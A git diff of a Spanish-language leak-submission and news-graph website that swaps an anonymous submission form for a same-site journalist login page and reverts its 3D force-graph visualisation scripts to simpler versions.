.form-sec { position: relative; border-top: 1px solid var(--line); border-bottom: 1px solid var(--line); }
|
|
||||||
.form-sec::before {
|
|
||||||
content: ""; position: absolute; inset: 0; z-index: 0; opacity: .5;
|
|
||||||
background: linear-gradient(180deg, rgba(0,0,0,.86), rgba(2,10,2,.92)), url('/images/flujos6.jpg') center / cover fixed;
|
|
||||||
}
|
|
||||||
.form-sec .wrap { position: relative; z-index: 1; padding: 62px 22px; }
|
|
||||||
.panel {
|
|
||||||
border: 1px solid var(--line-hard); background: rgba(3,8,3,.82); backdrop-filter: blur(10px);
|
|
||||||
padding: 34px; box-shadow: 0 30px 70px -34px rgba(0,0,0,.9), inset 0 0 60px -40px rgba(57,255,20,.4);
|
|
||||||
}
|
|
||||||
.field { margin-bottom: 26px; }
|
|
||||||
.field:last-of-type { margin-bottom: 0; }
|
|
||||||
label.lbl { display: block; font-size: 14.5px; font-weight: 700; margin-bottom: 6px; color: var(--ink); }
|
|
||||||
.num-tag { color: var(--neon); margin-right: 8px; }
|
|
||||||
.hint { font-size: 13px; color: var(--muted); margin-bottom: 12px; }
|
|
||||||
select, textarea, input[type="text"] {
|
|
||||||
width: 100%; background: rgba(0,0,0,.55); border: 1.5px solid var(--line); color: var(--ink);
|
|
||||||
padding: 14px; font-family: var(--mono); font-size: 15px; transition: border-color .15s, box-shadow .15s;
|
|
||||||
}
|
|
||||||
textarea { min-height: 160px; resize: vertical; line-height: 1.6; }
|
|
||||||
select:focus, textarea:focus, input[type="text"]:focus, input[type="file"]:focus {
|
|
||||||
outline: none; border-color: var(--neon); box-shadow: 0 0 0 1px var(--neon), 0 0 18px -3px rgba(57,255,20,.6);
|
|
||||||
}
|
|
||||||
select {
|
|
||||||
appearance: none; -webkit-appearance: none; cursor: pointer;
|
|
||||||
background-image: linear-gradient(45deg, transparent 50%, var(--neon) 50%), linear-gradient(135deg, var(--neon) 50%, transparent 50%);
|
|
||||||
background-position: calc(100% - 20px) center, calc(100% - 15px) center; background-size: 6px 6px, 6px 6px; background-repeat: no-repeat;
|
|
||||||
}
|
|
||||||
/* file input: el botón nativo estilizado como botón real */
|
|
||||||
input[type="file"] {
|
|
||||||
width: 100%; background: rgba(0,0,0,.55); border: 1.5px dashed var(--line); color: var(--muted);
|
|
||||||
padding: 16px; font-family: var(--mono); font-size: 13.5px; cursor: pointer;
|
|
||||||
}
|
|
||||||
input[type="file"]::file-selector-button {
|
|
||||||
font-family: var(--mono); font-weight: 700; font-size: 12.5px; text-transform: uppercase; letter-spacing: .05em;
|
|
||||||
background: var(--neon); color: #000; border: none; padding: 10px 18px; margin-right: 16px; cursor: pointer;
|
|
||||||
transition: background .15s, box-shadow .15s;
|
|
||||||
}
|
|
||||||
input[type="file"]::file-selector-button:hover { background: var(--neon-soft); box-shadow: 0 0 16px -2px rgba(57,255,20,.7); }
|
|
||||||
|
|
||||||
.hp { position: absolute; left: -9999px; width: 1px; height: 1px; overflow: hidden; }
|
|
||||||
.submit-row { display: flex; align-items: center; gap: 20px; flex-wrap: wrap; margin-top: 30px; padding-top: 24px; border-top: 1px solid var(--line); }
|
|
||||||
.submit-note { font-size: 12px; color: var(--faint); letter-spacing: .04em; }
|
|
||||||
|
|
||||||
.callout {
|
|
||||||
display: flex; gap: 15px; border: 1px solid var(--line); border-left: 3px solid var(--neon);
|
|
||||||
background: rgba(4,10,4,.6); backdrop-filter: blur(6px); padding: 22px 24px; font-size: 14px; color: var(--muted); line-height: 1.65;
|
|
||||||
}
|
|
||||||
.callout b { color: var(--ink); }
|
|
||||||
.callout .ic { color: var(--neon); font-size: 20px; }
|
|
||||||
|
|
||||||
footer.foot { border-top: 1px solid var(--line); padding: 34px 0 60px; background: rgba(0,0,0,.4); }
|
|
||||||
footer.foot p { font-size: 12px; color: var(--faint); margin: 5px 0; letter-spacing: .04em; }
|
|
||||||
footer.foot .q { color: var(--muted); }
|
|
||||||
|
|
||||||
@media (prefers-reduced-motion: reduce) { * { transition: none !important; } }
|
|
||||||
</style>
|
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
<header class="nav">
|
<div class="header">
|
||||||
<div class="wrap">
|
<img class="logo" src="/images/flujos_logo5.png" alt="Flujos Logo">
|
||||||
<span class="brand"><b>UP</b>-LEAKS</span>
|
|
||||||
<div class="nav-actions">
|
|
||||||
<a class="btn btn-ghost" href="/">Grafo</a>
|
|
||||||
<a class="btn btn-ghost" href="/stats.html">Datos</a>
|
|
||||||
<a class="btn" href="#buzon">Enviar</a>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</header>
|
|
||||||
|
|
||||||
<section class="hero">
|
|
||||||
<div class="wrap">
|
|
||||||
<div class="chips">
|
|
||||||
<span class="chip">Canal seguro</span>
|
|
||||||
<span class="chip">Tor recomendado</span>
|
|
||||||
<span class="chip">Sin registro de IP</span>
|
|
||||||
</div>
|
|
||||||
<h1>Filtra lo que el poder quiere <em>en silencio</em></h1>
|
|
||||||
<p class="lead">UP-LEAKS conecta documentos filtrados con la actualidad para exponer los flujos de poder. Si tienes material de interés público —contratos, cables, correos, bases de datos, testimonios— este es tu canal. <b>No registramos tu IP ni te pedimos identificarte.</b></p>
|
|
||||||
<div class="cta">
|
|
||||||
<a class="btn btn-solid btn-lg" href="#buzon">Enviar material →</a>
|
|
||||||
<a class="btn btn-lg" href="#seguridad">Cómo protegerte</a>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</section>
|
|
||||||
|
|
||||||
<section class="block" id="seguridad">
|
|
||||||
<div class="wrap">
|
|
||||||
<div class="eyebrow">Antes de enviar</div>
|
|
||||||
<h2>Tres pasos para protegerte</h2>
|
|
||||||
<p class="sub">Tu seguridad va primero. Dedica un minuto a esto antes de transmitir nada.</p>
|
|
||||||
<div class="cards">
|
|
||||||
<div class="card">
|
|
||||||
<div class="num">01</div>
|
|
||||||
<h3>Usa Tor</h3>
|
|
||||||
<p>Entra con el <a href="https://www.torproject.org/es/" rel="noopener noreferrer">Navegador Tor</a> para que tu conexión no quede ligada a ti. Evita hacerlo desde la red de tu trabajo.</p>
|
|
||||||
</div>
|
|
||||||
<div class="card">
|
|
||||||
<div class="num">02</div>
|
|
||||||
<h3>Limpia los archivos</h3>
|
|
||||||
<p>Los documentos guardan metadatos (autor, equipo, GPS). Bórralos con <code>mat2</code> antes de subirlos.</p>
|
|
||||||
</div>
|
|
||||||
<div class="card">
|
|
||||||
<div class="num">03</div>
|
|
||||||
<h3>No des detalles de más</h3>
|
|
||||||
<p>No incluyas datos que solo tú podrías conocer. Cuanta menos gente tuvo acceso al material, más discreto conviene ser.</p>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</section>
|
|
||||||
|
|
||||||
<section class="form-sec" id="buzon">
|
|
||||||
<div class="wrap">
|
|
||||||
<div class="eyebrow">Buzón de envío</div>
|
|
||||||
<h2 style="margin-bottom:8px">Transmite tu material</h2>
|
|
||||||
<p class="sub" style="margin-bottom:30px">Cifrado en tránsito. Sin cuentas, sin cookies, sin rastro de tu IP.</p>
|
|
||||||
|
|
||||||
<form class="panel" method="post" action="/api/submit" enctype="multipart/form-data" autocomplete="off">
|
|
||||||
<input type="hidden" name="render" value="html">
|
|
||||||
|
|
||||||
<div class="field">
|
|
||||||
<label class="lbl" for="tema"><span class="num-tag">01</span>Temática</label>
|
|
||||||
<p class="hint">Encamina tu envío al área correcta.</p>
|
|
||||||
<select id="tema" name="tema">
|
|
||||||
<option value="guerra global">Guerra global / conflictos</option>
|
|
||||||
<option value="inteligencia y seguridad">Inteligencia y seguridad</option>
|
|
||||||
<option value="cambio climático">Cambio climático / medioambiente</option>
|
|
||||||
<option value="economía y corporaciones">Economía y corporaciones</option>
|
|
||||||
<option value="demografía y sociedad">Demografía y sociedad</option>
|
|
||||||
<option value="otros" selected>Otros / no estoy seguro</option>
|
|
||||||
</select>
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="field">
|
<div class="canvas-container">
|
||||||
<label class="lbl" for="mensaje"><span class="num-tag">02</span>Descripción del material</label>
|
<img class="image-left" src="/images/journalist_fondo.jpg" alt="Fondo izquierdo">
|
||||||
<p class="hint">¿Qué es, de dónde sale, por qué importa? No hace falta que sea largo.</p>
|
<div class="login-container">
|
||||||
<textarea id="mensaje" name="mensaje" maxlength="20000" placeholder="Cuéntanos qué nos envías y qué crees que revela…"></textarea>
|
<h1>Journalist Login</h1>
|
||||||
</div>
|
<form onsubmit="login(event)">
|
||||||
|
<label for="username">Username:</label>
|
||||||
|
<input type="text" id="username" name="username" required>
|
||||||
|
|
||||||
<div class="field">
|
<label for="password">Password:</label>
|
||||||
<label class="lbl" for="adjuntos"><span class="num-tag">03</span>Adjuntos <span style="color:var(--faint);font-weight:400">— opcional · hasta 8 archivos · 50 MB c/u</span></label>
|
<input type="password" id="password" name="password" required>
|
||||||
<p class="hint">Documentos, hojas de cálculo, PDF, imágenes o archivos comprimidos.</p>
|
|
||||||
<input type="file" id="adjuntos" name="adjuntos" multiple>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="field">
|
<label for="publicKey">Public Key:</label>
|
||||||
<label class="lbl" for="contacto"><span class="num-tag">04</span>Contacto <span style="color:var(--faint);font-weight:400">— opcional</span></label>
|
<input type="text" id="publicKey" name="publicKey" required>
|
||||||
<p class="hint">Solo si quieres que podamos responderte. Signal, ProtonMail, clave PGP o una cuenta desechable. Puedes dejarlo en blanco.</p>
|
|
||||||
<input type="text" id="contacto" name="contacto" maxlength="400" placeholder="p. ej. Signal: +…, o correo desechable">
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="hp" aria-hidden="true">
|
<input type="submit" value="Login">
|
||||||
<label>No rellenar<input type="text" name="website" tabindex="-1" autocomplete="off"></label>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="submit-row">
|
|
||||||
<button type="submit" class="btn btn-solid btn-lg">Enviar de forma segura →</button>
|
|
||||||
<span class="submit-note">HTTPS · sin IP · sin cookies · sin JavaScript</span>
|
|
||||||
</div>
|
|
||||||
</form>
|
</form>
|
||||||
</div>
|
</div>
|
||||||
</section>
|
<img class="image-right" src="/images/journalist_fondo2.jpg" alt="Fondo derecho">
|
||||||
|
</div>
|
||||||
|
|
||||||
<section class="block">
|
<script>
|
||||||
<div class="wrap">
|
function login(event) {
|
||||||
<div class="callout">
|
event.preventDefault(); // Evitar que el formulario se envíe por defecto
|
||||||
<span class="ic" aria-hidden="true">▲</span>
|
|
||||||
<div><b>Aviso honesto.</b> Este buzón cifra el envío en tránsito y no registra tu IP, pero <b>no sustituye a una plataforma tipo SecureDrop</b>. Para filtraciones de altísimo riesgo, combínalo con Tor, limpieza de metadatos y, si puedes, cifrado PGP del propio archivo.</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</section>
|
|
||||||
|
|
||||||
<footer class="foot">
|
const username = document.getElementById('username').value;
|
||||||
<div class="wrap">
|
const password = document.getElementById('password').value;
|
||||||
<p>UP-LEAKS · flujos de información · software libre</p>
|
const publicKey = document.getElementById('publicKey').value;
|
||||||
<p class="q">“Los gigantes vistos en perspectiva parecen marionetas.”</p>
|
|
||||||
</div>
|
// Enviar los datos del formulario mediante una petición AJAX a nuestro endpoint de login
|
||||||
</footer>
|
fetch('/login', {
|
||||||
|
method: 'POST',
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/json'
|
||||||
|
},
|
||||||
|
body: JSON.stringify({ username, password, publicKey })
|
||||||
|
})
|
||||||
|
.then(response => response.json())
|
||||||
|
.then(data => {
|
||||||
|
// Si el servidor devuelve un redireccionamiento, redirigimos al usuario
|
||||||
|
if (data.redirect) {
|
||||||
|
window.location.href = data.redirect;
|
||||||
|
} else {
|
||||||
|
// Si no hay redireccionamiento, se podría mostrar un mensaje de error
|
||||||
|
console.log('Credenciales inválidas');
|
||||||
|
}
|
||||||
|
})
|
||||||
|
.catch(error => {
|
||||||
|
console.error('Error en la petición AJAX:', error);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
</script>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,10 @@
|
||||||
/* La familia "Retrolift" no se distribuye con el repo: no hay @font-face.
|
@font-face {
|
||||||
Las reglas que la piden caen a sans-serif. Para usarla, deja el .woff2 en
|
font-family: "Retrolift";
|
||||||
fonts/ y anade aqui la regla con una ruta relativa. */
|
src: url("fonts/retrolift.woff2") format("woff2"),
|
||||||
|
url("fonts/retrolift.woff") format("woff");
|
||||||
|
font-weight: normal;
|
||||||
|
font-style: normal;
|
||||||
|
}
|
||||||
|
|
||||||
* {
|
* {
|
||||||
margin: 0;
|
margin: 0;
|
||||||
|
|
|
||||||
|
|
@ -1,5 +1,5 @@
|
||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
<html lang="es">
|
<html lang="en">
|
||||||
<head>
|
<head>
|
||||||
<meta charset="UTF-8">
|
<meta charset="UTF-8">
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
|
|
||||||
|
|
@ -1,61 +1,29 @@
|
||||||
// output_climate_pruebas.js
|
// output_climate_pruebas.js
|
||||||
import ForceGraph3D from 'https://esm.sh/3d-force-graph?external=three';
|
|
||||||
import * as THREE from 'three';
|
|
||||||
|
|
||||||
|
// Obtener el contenedor del gráfico
|
||||||
document.addEventListener('DOMContentLoaded', () => {
|
document.addEventListener('DOMContentLoaded', () => {
|
||||||
const elem = document.getElementById('climateContainer');
|
const elem = document.getElementById('climateContainer');
|
||||||
const form = document.getElementById('paramForm');
|
const form = document.getElementById('paramForm');
|
||||||
|
|
||||||
let lastGraphData = { nodes: [], links: [] };
|
// Inicializar el gráfico 3D
|
||||||
let fullGraphData = null;
|
|
||||||
let currentRelatedNodes = [];
|
|
||||||
let currentRelatedIdx = 0;
|
|
||||||
let currentNode = null;
|
|
||||||
|
|
||||||
const textureCache = {};
|
|
||||||
function getTexture(url) {
|
|
||||||
if (!textureCache[url]) textureCache[url] = new THREE.TextureLoader().load(url);
|
|
||||||
return textureCache[url];
|
|
||||||
}
|
|
||||||
|
|
||||||
const graph = ForceGraph3D()(elem)
|
const graph = ForceGraph3D()(elem)
|
||||||
.backgroundColor('#000000')
|
.backgroundColor('#000000')
|
||||||
.nodeLabel(node => node.type === 'imagen' ? (node.label || node.id) : node.id)
|
.nodeLabel('id')
|
||||||
.nodeAutoColorBy('group')
|
.nodeAutoColorBy('group')
|
||||||
.nodeVal(node => node.type === 'imagen' ? 20 : 2)
|
.nodeVal(1)
|
||||||
.linkColor(() => '#42FF00')
|
.linkColor(() => '#42FF00')
|
||||||
.onNodeClick(node => showNodeDetail(node))
|
.onNodeClick(node => showNodeContent(node.content))
|
||||||
.onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; })
|
.onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; })
|
||||||
.nodeThreeObject(node => {
|
.forceEngine('d3')
|
||||||
// Imagen local (nodos-imagen) directa; og:image remota de noticias via
|
//.d3Force('charge', d3.forceManyBody().strength(-300))
|
||||||
// proxy same-origin /api/img para que WebGL pueda texturizarla (CORS).
|
//.d3Force('link', d3.forceLink().distance(300).strength(1));
|
||||||
let src = null, esNoticia = false;
|
|
||||||
if (node.type === 'imagen' && node.image_url) {
|
|
||||||
src = node.image_url;
|
|
||||||
} else if (node.imagen_url) {
|
|
||||||
src = '/api/img?u=' + encodeURIComponent(node.imagen_url);
|
|
||||||
esNoticia = true;
|
|
||||||
}
|
|
||||||
if (!src) return null;
|
|
||||||
const texture = getTexture(src);
|
|
||||||
texture.colorSpace = THREE.SRGBColorSpace;
|
|
||||||
const material = new THREE.SpriteMaterial({ map: texture, depthWrite: false });
|
|
||||||
const sprite = new THREE.Sprite(material);
|
|
||||||
// miniaturas de noticia mas pequenas que los nodos-imagen dedicados
|
|
||||||
if (esNoticia) sprite.scale.set(84, 55, 1);
|
|
||||||
else sprite.scale.set(160, 104, 1);
|
|
||||||
return sprite;
|
|
||||||
})
|
|
||||||
.nodeThreeObjectExtend(false)
|
|
||||||
.forceEngine('d3');
|
|
||||||
|
|
||||||
graph.d3Force('charge').strength(-150);
|
|
||||||
graph.d3Force('link').distance(70).strength(0.3);
|
|
||||||
graph.d3Force('center').strength(0.05);
|
|
||||||
|
|
||||||
|
// Centrado automático del gráfico
|
||||||
function centerGraph() {
|
function centerGraph() {
|
||||||
setTimeout(() => {
|
setTimeout(() => {
|
||||||
graph.zoomToFit(400, Math.min(elem.clientWidth, elem.clientHeight) * 0.1);
|
const width = elem.clientWidth;
|
||||||
|
const height = elem.clientHeight;
|
||||||
|
graph.zoomToFit(400, Math.min(width, height) * 0.1);
|
||||||
}, 500);
|
}, 500);
|
||||||
}
|
}
|
||||||
window.addEventListener('resize', () => {
|
window.addEventListener('resize', () => {
|
||||||
|
|
@ -64,179 +32,95 @@ document.addEventListener('DOMContentLoaded', () => {
|
||||||
centerGraph();
|
centerGraph();
|
||||||
});
|
});
|
||||||
|
|
||||||
function getAuthor(node) { return node.autor || node.fuente || node.source || ''; }
|
// Mostrar contenido del nodo
|
||||||
function formatDate(fecha) {
|
function showNodeContent(content) {
|
||||||
if (!fecha) return '';
|
console.log('Contenido del nodo:', content);
|
||||||
try { return new Date(fecha).toLocaleDateString('es-ES'); } catch { return String(fecha); }
|
|
||||||
}
|
|
||||||
function formatTitle(id) { return String(id).replace(/_/g, ' '); }
|
|
||||||
|
|
||||||
function getRelated(node) {
|
|
||||||
const nid = node.id;
|
|
||||||
const relIds = new Set();
|
|
||||||
for (const lk of lastGraphData.links) {
|
|
||||||
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
|
|
||||||
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
|
|
||||||
if (s === nid) relIds.add(t);
|
|
||||||
else if (t === nid) relIds.add(s);
|
|
||||||
}
|
|
||||||
return lastGraphData.nodes.filter(n => relIds.has(n.id));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function renderDetailPanel(node, related, idx) {
|
// Función para obtener datos del servidor
|
||||||
const detailContent = document.getElementById('detailContent');
|
|
||||||
const split = document.querySelector('main.split-screen');
|
|
||||||
if (!detailContent || !split) return;
|
|
||||||
|
|
||||||
detailContent.querySelector('.detail-author').textContent = getAuthor(node);
|
|
||||||
detailContent.querySelector('.detail-date').textContent = formatDate(node.fecha || node.date);
|
|
||||||
detailContent.querySelector('.detail-title').textContent = formatTitle(node.id);
|
|
||||||
|
|
||||||
const relCount = detailContent.querySelector('.relations-count');
|
|
||||||
const relLabel = document.getElementById('relationLabel');
|
|
||||||
const prevBtn = document.getElementById('prevRelation');
|
|
||||||
const nextBtn = document.getElementById('nextRelation');
|
|
||||||
relCount.textContent = `${related.length} relación${related.length !== 1 ? 'es' : ''}`;
|
|
||||||
if (related.length > 0) {
|
|
||||||
relLabel.textContent = formatTitle(related[idx].id);
|
|
||||||
prevBtn.disabled = idx <= 0;
|
|
||||||
nextBtn.disabled = idx >= related.length - 1;
|
|
||||||
} else {
|
|
||||||
relLabel.textContent = '—';
|
|
||||||
prevBtn.disabled = true;
|
|
||||||
nextBtn.disabled = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
const body = detailContent.querySelector('.detail-body');
|
|
||||||
body.innerHTML = '';
|
|
||||||
const _imgSrc = (node.type === 'imagen' && node.image_url) ? node.image_url
|
|
||||||
: (node.imagen_url || null);
|
|
||||||
if (_imgSrc) {
|
|
||||||
const img = document.createElement('img');
|
|
||||||
img.src = _imgSrc;
|
|
||||||
img.className = 'detail-img';
|
|
||||||
img.loading = 'lazy';
|
|
||||||
img.onerror = () => img.remove();
|
|
||||||
body.appendChild(img);
|
|
||||||
}
|
|
||||||
const text = document.createElement('span');
|
|
||||||
text.textContent = node.content || node.texto || node.descripcion || 'Sin contenido disponible.';
|
|
||||||
body.appendChild(text);
|
|
||||||
|
|
||||||
if (related.length > 0) {
|
|
||||||
const conexBtn = document.createElement('button');
|
|
||||||
conexBtn.id = 'verConexionesBtn';
|
|
||||||
conexBtn.textContent = '⬡ Ver solo conexiones de este nodo';
|
|
||||||
conexBtn.addEventListener('click', () => showEgoGraph(node));
|
|
||||||
body.appendChild(conexBtn);
|
|
||||||
}
|
|
||||||
|
|
||||||
split.classList.add('show-detail');
|
|
||||||
setTimeout(() => { graph.width(elem.clientWidth); graph.height(elem.clientHeight); }, 350);
|
|
||||||
}
|
|
||||||
|
|
||||||
function showEgoGraph(node) {
|
|
||||||
const nid = node.id;
|
|
||||||
const relIds = new Set();
|
|
||||||
for (const lk of lastGraphData.links) {
|
|
||||||
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
|
|
||||||
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
|
|
||||||
if (s === nid) relIds.add(t);
|
|
||||||
else if (t === nid) relIds.add(s);
|
|
||||||
}
|
|
||||||
const egoNodes = lastGraphData.nodes.filter(n => n.id === nid || relIds.has(n.id));
|
|
||||||
const egoIds = new Set(egoNodes.map(n => n.id));
|
|
||||||
const egoLinks = lastGraphData.links.filter(lk => {
|
|
||||||
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
|
|
||||||
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
|
|
||||||
return egoIds.has(s) && egoIds.has(t);
|
|
||||||
});
|
|
||||||
fullGraphData = lastGraphData;
|
|
||||||
graph.graphData({ nodes: egoNodes, links: egoLinks });
|
|
||||||
centerGraph();
|
|
||||||
document.getElementById('volverGrafoBtn').classList.add('visible');
|
|
||||||
}
|
|
||||||
|
|
||||||
function restoreFullGraph() {
|
|
||||||
if (fullGraphData) {
|
|
||||||
lastGraphData = fullGraphData;
|
|
||||||
fullGraphData = null;
|
|
||||||
graph.graphData({ nodes: lastGraphData.nodes, links: lastGraphData.links });
|
|
||||||
centerGraph();
|
|
||||||
document.getElementById('volverGrafoBtn').classList.remove('visible');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function showNodeDetail(node) {
|
|
||||||
currentNode = node;
|
|
||||||
currentRelatedNodes = getRelated(node);
|
|
||||||
currentRelatedIdx = 0;
|
|
||||||
renderDetailPanel(node, currentRelatedNodes, currentRelatedIdx);
|
|
||||||
}
|
|
||||||
|
|
||||||
document.getElementById('prevRelation').addEventListener('click', () => {
|
|
||||||
if (currentRelatedIdx > 0) {
|
|
||||||
currentRelatedIdx--;
|
|
||||||
renderDetailPanel(currentNode, currentRelatedNodes, currentRelatedIdx);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
document.getElementById('nextRelation').addEventListener('click', () => {
|
|
||||||
if (currentRelatedIdx < currentRelatedNodes.length - 1) {
|
|
||||||
currentRelatedIdx++;
|
|
||||||
renderDetailPanel(currentNode, currentRelatedNodes, currentRelatedIdx);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
document.getElementById('closeDetail').addEventListener('click', () => {
|
|
||||||
const split = document.querySelector('main.split-screen');
|
|
||||||
if (split) split.classList.remove('show-detail');
|
|
||||||
restoreFullGraph();
|
|
||||||
setTimeout(() => { graph.width(elem.clientWidth); graph.height(elem.clientHeight); }, 350);
|
|
||||||
});
|
|
||||||
|
|
||||||
document.getElementById('volverGrafoBtn').addEventListener('click', () => {
|
|
||||||
restoreFullGraph();
|
|
||||||
});
|
|
||||||
|
|
||||||
async function getData(paramsObj = {}) {
|
async function getData(paramsObj = {}) {
|
||||||
try {
|
try {
|
||||||
let url = '/api/data';
|
let url = '/api/data';
|
||||||
const params = new URLSearchParams();
|
const params = new URLSearchParams();
|
||||||
|
|
||||||
|
// Establecer el tema fijo
|
||||||
params.append('tema', 'cambio climático');
|
params.append('tema', 'cambio climático');
|
||||||
|
|
||||||
|
// Agregar parámetros del formulario, incluyendo complejidad como umbral
|
||||||
for (const key in paramsObj) {
|
for (const key in paramsObj) {
|
||||||
if (paramsObj[key] !== undefined && paramsObj[key] !== '') {
|
if (paramsObj[key] !== undefined && paramsObj[key] !== '') {
|
||||||
params.append(key, paramsObj[key]);
|
params.append(key, paramsObj[key]);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
url += `?${params.toString()}`;
|
url += `?${params.toString()}`;
|
||||||
console.log('Fetch URL:', url);
|
console.log('🔎 Fetch URL:', url);
|
||||||
|
|
||||||
const response = await fetch(url);
|
const response = await fetch(url);
|
||||||
if (!response.ok) throw new Error(response.statusText);
|
if (!response.ok) throw new Error(response.statusText);
|
||||||
const data = await response.json();
|
const data = await response.json();
|
||||||
const nodeIds = new Set(data.nodes.map(n => n.id));
|
console.log('Datos recibidos del servidor:', data);
|
||||||
data.links = data.links.filter(lk => nodeIds.has(lk.source) && nodeIds.has(lk.target));
|
|
||||||
|
// Filtrar enlaces inválidos
|
||||||
|
const nodeIds = new Set(data.nodes.map(node => node.id));
|
||||||
|
data.links = data.links.filter(link => nodeIds.has(link.source) && nodeIds.has(link.target));
|
||||||
|
|
||||||
return data;
|
return data;
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.error('Error al obtener datos:', error);
|
console.error('Error al obtener datos del servidor:', error);
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Función principal: fetch, filtrar por complejidad/umbral y renderizar
|
||||||
async function fetchAndRender() {
|
async function fetchAndRender() {
|
||||||
|
const subtematica = document.getElementById('param2').value;
|
||||||
|
const palabraClave = document.getElementById('param1').value;
|
||||||
|
const fechaInicio = document.getElementById('fecha_inicio').value;
|
||||||
|
const fechaFin = document.getElementById('fecha_fin').value;
|
||||||
|
const nodos = document.getElementById('nodos').value;
|
||||||
|
const complejidad = document.getElementById('complejidad').value;
|
||||||
|
|
||||||
|
// Usamos 'complejidad' como porcentaje de similitud mínima (umbral)
|
||||||
const paramsObj = {
|
const paramsObj = {
|
||||||
subtematica: document.getElementById('param2').value,
|
subtematica,
|
||||||
palabraClave: document.getElementById('param1').value,
|
palabraClave,
|
||||||
fechaInicio: document.getElementById('fecha_inicio').value,
|
fechaInicio,
|
||||||
fechaFin: document.getElementById('fecha_fin').value,
|
fechaFin,
|
||||||
nodos: document.getElementById('nodos').value,
|
nodos,
|
||||||
complejidad: document.getElementById('complejidad').value,
|
complejidad // enviado al backend y usado de umbral en cliente
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// Parsear complejidad a número
|
||||||
|
const umbralPct = parseFloat(complejidad) || 0;
|
||||||
|
console.log(`Aplicando umbral de similitud: ${umbralPct}%`);
|
||||||
|
|
||||||
const graphData = await getData(paramsObj);
|
const graphData = await getData(paramsObj);
|
||||||
if (!graphData) return;
|
if (!graphData) return;
|
||||||
lastGraphData = graphData;
|
|
||||||
graph.graphData({ nodes: graphData.nodes, links: graphData.links });
|
// Filtrar enlaces por umbral de similitud
|
||||||
|
let filteredLinks = graphData.links;
|
||||||
|
if (umbralPct > 0) {
|
||||||
|
filteredLinks = filteredLinks.filter(link => Number(link.value) >= umbralPct);
|
||||||
|
console.log(`Enlaces tras aplicar umbral: ${filteredLinks.length}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
graph.graphData({ nodes: graphData.nodes, links: filteredLinks });
|
||||||
centerGraph();
|
centerGraph();
|
||||||
}
|
}
|
||||||
|
|
||||||
form.addEventListener('submit', event => { event.preventDefault(); fetchAndRender(); });
|
// Escuchar evento submit del formulario
|
||||||
|
form.addEventListener('submit', event => {
|
||||||
|
event.preventDefault();
|
||||||
fetchAndRender();
|
fetchAndRender();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
// Cargar gráfico inicial
|
||||||
|
fetchAndRender();
|
||||||
|
});
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -1,61 +1,29 @@
|
||||||
// output_eco_corp.js
|
// output_eco_corp.js
|
||||||
import ForceGraph3D from 'https://esm.sh/3d-force-graph?external=three';
|
|
||||||
import * as THREE from 'three';
|
|
||||||
|
|
||||||
|
// Obtener el contenedor del gráfico
|
||||||
document.addEventListener('DOMContentLoaded', () => {
|
document.addEventListener('DOMContentLoaded', () => {
|
||||||
const elem = document.getElementById('ecoCorpContainer');
|
const elem = document.getElementById('ecoCorpContainer');
|
||||||
const form = document.getElementById('paramForm');
|
const form = document.getElementById('paramForm');
|
||||||
|
|
||||||
let lastGraphData = { nodes: [], links: [] };
|
// Inicializar el gráfico 3D
|
||||||
let fullGraphData = null;
|
|
||||||
let currentRelatedNodes = [];
|
|
||||||
let currentRelatedIdx = 0;
|
|
||||||
let currentNode = null;
|
|
||||||
|
|
||||||
const textureCache = {};
|
|
||||||
function getTexture(url) {
|
|
||||||
if (!textureCache[url]) textureCache[url] = new THREE.TextureLoader().load(url);
|
|
||||||
return textureCache[url];
|
|
||||||
}
|
|
||||||
|
|
||||||
const graph = ForceGraph3D()(elem)
|
const graph = ForceGraph3D()(elem)
|
||||||
.backgroundColor('#000000')
|
.backgroundColor('#000000')
|
||||||
.nodeLabel(node => node.type === 'imagen' ? (node.label || node.id) : node.id)
|
.nodeLabel('id')
|
||||||
.nodeAutoColorBy('group')
|
.nodeAutoColorBy('group')
|
||||||
.nodeVal(node => node.type === 'imagen' ? 20 : 2)
|
.nodeVal(1)
|
||||||
.linkColor(() => 'yellow')
|
.linkColor(() => 'yellow')
|
||||||
.onNodeClick(node => showNodeDetail(node))
|
.onNodeClick(node => showNodeContent(node.content))
|
||||||
.onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; })
|
.onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; })
|
||||||
